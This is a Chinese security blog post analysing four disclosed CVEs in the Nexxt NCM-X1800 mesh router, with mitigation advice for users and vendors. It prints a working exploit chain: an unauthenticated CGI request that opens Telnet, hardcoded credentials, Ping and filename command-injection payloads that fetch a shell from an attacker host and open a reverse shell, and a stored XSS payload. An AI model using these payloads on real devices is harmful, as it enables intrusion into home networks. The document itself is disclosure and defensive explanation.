2026-10-22 11:37:02 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

未认证一键开后门：拆 Nexxt Mesh 路由四条 CVE

黑卷
黑卷

黑卷的IoT攻防日记

2026年10月21日 15:26
上海

去阅读

未认证一键开后门：拆 Nexxt Mesh 路由四条 CVE

先说结论：2025 年 7 月，研究员 Ian 在 ian.nl 公开了对 Nexxt Solutions NCM-X1800（市场名 Bolt AX1800 True Mesh）的完整利用链。

四条 CVE 里，最狠的一条不用登录、不用拆机、不用 dump Flash——局域网里发一个 POST，就能把 Telnet 打开，再用硬编码口令进 BusyBox。

另外三条分别是 Ping 命令注入、设备别名存储型 XSS、固件升级文件名注入。整条链几乎全是 Web 逻辑问题，配图也全是终端和后台截图。

目标：家里那台「小白盒子」

NCM-X1800 是面向家庭的 Mesh 路由节点。官网宣传覆盖面积不小，三个千兆口，走 Nexxt Home App 配网。外观就是常见的小白立方体，正面印着 NEXXT，底部一圈蓝光的「小房子」按键。

Mesh 节点的麻烦在于：一插电就常年在线，管理口默认挂在 192.168.1.1，客人 Wi-Fi、IoT 网段如果没隔离，等于把一台 Linux 小盒子长期暴露在局域网。

Ian 这套研究，全部对着 Web 管理面和隐藏 CGI。没有走 UART，没有焊 SPI。这种「纯软件、纯逻辑」的攻击面，往往比拆机更危险——攻击者只要进了你家 Wi-Fi，就能远程打。

最短路径：未认证开 Telnet

四条 CVE 里，CVE-2025-52376 是真正的「一键后门」。

固件里躺着一个隐藏接口：POST /web/um_open_telnet.cgi。参数少得可怜——

mode_name=/web/um_open_telnet
nonedata=

随便填个随机数
* telnetEnable=1

不需要 Cookie，不需要管理员口令，也不校验 Referer。telnetEnable=0 关掉，=1 打开。接口还很「礼貌」地回一段 JSON：{\"respCode\":0,\"data\":{\"result\":\"success\"}}。

Ian 用 curl 做了对比演示：关掉时，nc 连 23 端口直接 Connection refused；打开后立刻 Connection succeeded，登录提示变成 NCM-X1800 login:。

打开服务还不够，口令更离谱。Telnet 用的是硬编码默认账号：

用户名：telnetadmin
密码：telnetadmin

登进去就是 BusyBox v1.22.1 的 ash。whoami / id 显示 uid=1005 的 telnetadmin，网桥 br0 正是 192.168.1.1。家用 Mesh 路由的管理面，就这么变成了一台可交互的 Linux 盒子。

整条链只要两步：未认证打开服务 → 默认口令登录。局域网里任意一台被控电脑、一台中招的手机，都能把你的 Mesh 路由变成跳板。

四条 CVE 怎么排座次

把四条漏洞摊开看，攻击面非常整齐，也很好记。

CVE-2025-52376

：未认证开 Telnet + 硬编码口令——不需要登录
* CVE-2025-52377

：Ping / traceroute 命令注入——要登录（默认口令 12345678）
* CVE-2025-52378

：设备别名 DEVICE_ALIAS 存储型 XSS——写别名时要登录
* CVE-2025-52379

：固件升级文件名命令注入——要登录

关键接口也集中在少数几个 CGI 上。Mesh 路由的 Web 栈并不复杂，但「复杂」从来不是漏洞的必要条件——少做一次鉴权、少滤一次参数，就够了。

登录之后：Ping 就是 shell

管理后台的默认口令是 12345678。八位连续数字，很多用户根本不会改。Ian 还提到，即便改过口令，仍可能被别的未认证路径影响；但就算老老实实登录，CVE-2025-52377 也够用。

诊断页的 Ping 功能走 /web/um_ping_set.cgi，参数名叫 Ping_host_text。按理会期待它只接受 IP 或主机名，实际上分号、$() 都能拼进底层系统命令。这是嵌入式设备里老掉牙的「诊断功能 = 命令执行器」模式。

PoC 被拆成三阶段，每一步都借 Ping 接口执行：

192.168.1.191;curl -o /tmp/x http://攻击者/shell_arm
…;chmod +x /tmp/x;
…;/tmp/x

目标架构是 ARM little-endian，用 msfvenom 打一个 linux/armle/shell_reverse_tcp 的 ELF 即可。攻击者本机开好 nc -lvp 443，三发 POST 之后，反向壳就回来了。

原文还配了完整演示视频。下面这张是演示过程的截帧，能看到命令注入真正落地时的终端回显。

固件升级：文件名比固件更危险

CVE-2025-52379 出在固件升级流程，攻击点不在镜像内容，而在文件名。

接口 /web/um_fileName_set.cgi 接收 upgradeFileName，随后 /web/um_web_upgrade.cgi 真的去处理这个名字。问题是文件名会进 shell。Ian 的 PoC 把文件名写成：

file.bin` curl 攻击者IP `

反引号里的命令在升级流程中被执行。登录默认口令后，上传一个无关痛痒的小文件，就能触发外联，或者改成拉壳、写 crontab、改 DNS。

诊断功能（Ping）和升级功能，本来都是「管理员才碰」的面。但默认口令太弱、隐藏 Telnet 又不鉴权，这两条注入就从「需权限」变成了「进门之后的必杀技」。厂商若只修注入、不修未认证开端口，等于只锯了树枝、没刨根。

还有一个存储型 XSS

CVE-2025-52378 相对「轻」一点，但很典型，也说明同一套 Web 栈的过滤习惯有多差。

设备管理页允许给客户端改别名，参数 DEVICE_ALIAS 原样入库、原样回显，没有做 HTML 转义。Ian 塞了一个经典 payload：

<img src onerror=alert('Stored XSS')>

回到 /pc/deviceManage.html，弹窗就出来了。管理员一打开设备列表，脚本就在其会话里跑——偷 Cookie、改配置、顺手点开升级页，都做得到。

在「已能命令注入」的背景下，XSS 更像一条辅助链：钓鱼管理员、跨会话持久化，或者给自动化利用补一刀。单独看是中危，串进整条链就是润滑剂。

这套问题说明什么

把四条漏洞叠在一起，模式很清楚，也几乎可以当嵌入式 Web 安全的反面教材：

调试能力（Telnet）被做成了 Web 开关，还忘了鉴权；
出厂口令写进固件，登录面形同虚设；
诊断和升级把用户输入直接拼进系统命令；
别名这类展示字段忘记转义。

Mesh 路由一落户就常年在线。调试开关一旦暴露，等于给全屋 Wi-Fi 留了后门。

对用户侧，务实建议就几条：立刻改掉 12345678；用手机扫一下自家网关有没有莫名其妙的 23 端口；Mesh 节点尽量划到单独 VLAN / 访客网；能关的远程管理、UPnP、Telnet 就关。

对厂商侧，隐藏 CGI 必须走同一套登录态；主机名和文件名必须白名单；Telnet 这种调试口不该出现在量产固件的默认攻击面上；默认口令要强制首次修改，而不是印在说明书最后一页。

再补一层现实威胁模型。家庭 Mesh 往往同时服务手机、电脑、摄像头、音箱、甚至 NAS。路由一旦被拿下，攻击者可以：改 DNS 做中间人、开端口转发把内网服务暴露出去、在访客流量里插恶意脚本，或者干脆当跳板去扫隔壁 VLAN。

和「要拆机才能复现」的硬件洞不同，这四条洞的复现门槛低到离谱——一台能连上 Wi-Fi 的笔记本电脑就够。这也是为什么未认证开 Telnet 特别扎眼：它把「物理接触 / 已登录管理」这两道常见门槛，一次性拆掉了。

Ian 原文还写到，这台路由上「还有更多漏洞」，这篇只是先把四条串成可用利用链的公开出来。对做固件审计的人来说，这几乎是一份检查清单：搜 system( / popen / 拼接 cgi 参数的地方，再搜有没有「open\_telnet」「enable\_ssh」这类调试开关——十有八九能撞上同类问题。

厂商若只发「请升级固件」而不说明默认口令、不强制改密、不关掉调试 CGI，用户侧其实很难自救。Mesh 产品生命周期又长，一拖两三年不升级的家庭网络非常常见。漏洞窗口一旦打开，往往不是几天，而是好几年。

披露节奏上也值得一记。四条洞都进了 MITRE：CVE-2025-52376 到 52379。公开日期在 2025 年 7 月。对仍在跑旧固件的 NCM-X1800 / Bolt AX1800 用户，优先核对管理口令是否还是出厂值，再查 23 端口是否意外处于监听状态——这两步比「等厂商推送」更快见效。